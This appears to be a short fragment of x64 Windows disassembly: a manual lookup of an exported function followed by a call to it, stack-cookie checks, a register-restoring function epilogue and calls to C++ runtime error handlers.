add r8, r10
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx eax, word [rcx + r9*2]
mov edx, dword [r8 + rax*4]
add rdx, r10
mov ecx, 1
call rdx
nop
cmp dword [rbp + 0x130], 0
je 0x140015f9b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
cmp dword [rbp + 0x140], 0
je 0x140015fab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rbp + 0x148]
xor rcx, rsp
call fcn.1400cddb0
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rbp + 0x130], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp + 0x140], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call fcn.140001df0
int3
call fcn.140001d50
int3